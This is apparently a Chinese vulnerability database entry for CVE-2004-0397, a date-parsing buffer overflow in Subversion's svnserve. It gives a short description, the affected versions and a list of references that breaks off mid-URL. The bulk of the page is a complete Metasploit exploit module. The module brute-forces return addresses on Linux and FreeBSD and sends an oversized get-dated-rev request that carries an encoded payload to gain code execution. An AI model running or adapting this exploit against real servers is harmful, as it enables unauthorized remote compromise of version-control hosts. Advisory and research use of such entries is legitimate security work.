Subversion日期解析函数缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1107963 漏洞类型 边界条件错误
发布时间 2004-05-19 更新时间 2007-10-17
CVE编号 CVE-2004-0397 CNNVD-ID CNNVD-200407-009
漏洞平台 Multiple CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/9935
https://www.securityfocus.com/bid/10386
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200407-009
|漏洞详情
Subversion是一款版本控制系统。Subversion没有正确检查处理用户提交的请求数据,远程攻击者可以利用这个漏洞对系统进行缓冲区溢出攻击。当Subversions尝试转换字符串给apr_time_t函数时,会采用sscanf()函数来解码旧格式的日期字符串,由于对参数缺少充分检查,提交超长格式串数据可能触发缓冲区溢出。远程攻击者可以通过DAV2REPORT查询或get-dated-revsvn-protocol命令来触发,精心构建提交数据可能以进程权限执行任意指令。
|漏洞EXP
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'
require 'msf/core/exploit/http'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Brute
	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Subversion Date Svnserve',
			'Description'    => %q{
      This is an exploit for the Subversion date parsing overflow.  This
      exploit is for the svnserve daemon (svn:// protocol) and will not work
      for Subversion over webdav (http[s]://).  This exploit should never
      crash the daemon, and should be safe to do multi-hits.

      **WARNING** This exploit seems to (not very often, I've only seen
      it during testing) corrupt the subversion database, so be careful!
			},
			'Author'         => 'spoonm',
			'Version'        => '$Revision$',
			'References'     =>
				[
				    	['CVE', '2004-0397'],
					['OSVDB', '6301'],
					['BID',	'10386'],
					['URL',   'http://lists.netsys.com/pipermail/full-disclosure/2004-May/021737.html'],
					['MIL',   '68'],
				],
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20",
					'MinNops'  => 16,
				},	
			'SaveRegisters'  => [ 'esp' ],
			'Arch'           => 'x86',
			'Platform'       => [ 'linux', 'bsd' ],
			'Targets'        => 
				[
					[ 
						'Linux Bruteforce',
						{
							'Platform'   => 'linux',
							'Bruteforce' => 
								{
									'Start' => { 'Ret' => 0xbffffe13 },
									'Stop'  => { 'Ret' => 0xbfff0000 },
									'Step'  => 0
								}
						},
					],
					[ 
						'FreeBSD Bruteforce',
						{
							'Platform'   => 'bsd',
							'Bruteforce' => 
								{
									'Start' => { 'Ret' => 0xbfbffe13 },
									'Stop'  => { 'Ret' => 0xbfbf0000 },
									'Step'  => 0
								}
						},
					],

				],
			'DisclosureDate' => 'May 19 2004'))

		register_options(
			[
				Opt::RPORT(3690),	
				OptString.new('URL', [ true, "SVN URL (ie svn://host/repos)", "svn://host/svn/repos" ])
			], self.class)
	
		register_advanced_options(
			[
				# 62 on spoonm's, 88 on HD's
				OptInt.new('RetLength', [ false, "Length of rets after payload", 100 ]),
				OptBool.new('IgnoreErrors', [ false, "Ignore errors", false ])
			], self.class)
	end

	def check
	end

	def brute_exploit(addresses)
		connect
		
		print_status("Trying #{"%.8x" % addresses['Ret']}...")

		buffer = ([addresses['Ret']].pack('V') * (datastore['RetLength'] / 4).to_i) + payload.encoded
		
		[
			"( 2 ( edit-pipeline ) " + lengther(datastore['URL']) + " ) ",
			"( ANONYMOUS ( 0; ) )",
			"( get-dated-rev ( " + lengther(buffer + " 3 Oct 2000 01:01:01.001 (day 277, dst 1, gmt_off)") + " ) ) "
		].each_with_index { |buf, index|
			trash = sock.get_once

			print_line("Received: #{trash}") if debugging?
			
			if (sock.put(buf) || 0) == 0 and index < 3
				print_error("Error transmitting buffer.")
				raise ExploitError, "Failed to transmit data" if !datastore['IgnoreErrors']
			end

			if index == 3 and trash.length > 0
				print_error("Received data when we shouldn't have")
				raise ExploitError, "Received data when it wasn't expected" if !datastore['IgnoreErrors']
			end
		}

		handler
		disconnect
	end

	def lengther(buf)
		"#{buf.length}:" + buf
	end

end
|受影响的产品
Subversion Subversion 1.0.2 Subversion Subversion 1.0.1 Subversion Subversion 1.0 Gentoo Linux 1.4
|参考资料

来源:XF
名称:subversion-date-parsing-command-execution(16191)
链接:http://xforce.iss.net/xforce/xfdb/16191
来源:BID
名称:10386
链接:http://www.securityfocus.com/bid/10386
来源:BUGTRAQ
名称:20040519[OpenPKG-SA-2004.023]OpenPKGSecurityAdvisory(subversion)
链接:http://www.securityfocus.com/archive/1/363814
来源:FEDORA
名称:FLSA:1748
链接:https://bugzilla.fedora.us/show_bug.cgi?id=1748
来源:FEDORA
名称:FEDORA-2004-128
链接:http://www.linuxsecurity.com/advisories/fedora_advisory-4373.html
来源:security.e-matters.de
链接:http://security.e-matters.de/advisories/082004.html
来源:BUGTRAQ
名称:20040519Advisory08/2004:Subversionremotevulnerability
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=108498676517697&w=2
来源:FULLDISC
名称:20040519Advisory08/2004:Subversionremotevulnerability
链接:http://lists.grok.org.uk/pipermail/full-disclosure/2004-May/021737.html
来源:OSVDB
名称:6301
链接:http://www.osvdb.org/6301
来源:GENTOO
名称:GLSA-200405-14
链接:http://www.gentoo.org/security/en/glsa/glsa-200405-14.xml
来源:subversion.tigris.org
链接:http://subversion.ti